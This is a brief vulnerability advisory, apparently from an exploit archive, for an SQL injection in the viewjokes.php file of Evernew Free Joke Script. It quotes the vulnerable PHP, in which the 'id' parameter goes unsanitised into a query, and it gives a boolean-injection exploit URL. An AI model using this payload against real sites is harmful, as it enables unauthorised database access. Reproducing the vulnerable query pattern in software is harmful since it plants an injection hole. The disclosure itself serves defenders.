Evernew Free Joke Script suffers from a remote SQL injection vulnerability.
0440363c025a4a7034c9f444129e66ce10ec3b19e97b1889295c94d55944ce78
/*
Name : Evernew Free Joke Script (viewjokes.php) SQL Injection
WebSite : www.evernewscripts.com
Download : http://www.evernewscripts.com/free-php-scripts/jokescript1.2.zip
Author : Hamza 'MizoZ' N.
Email : mizozx@gmail.com
Greetz : Zuka , int_0x80 , geeksec.com ... a loot
*/
# VULN CODE ]--[ viewjokes.php :
$id=$HTTP_GET_VARS['id'];
$title=$HTTP_GET_VARS['title'];
stuffViewer($id, 'jokes');
$query="select * from jokes where id=$id";
$allresults=mysql_query($query);
$viewjokes=mysql_fetch_array($allresults);
# EXPLOIT :
http://[THINGS ...]/viewjokes.php?id=5+and+(select 1)=1--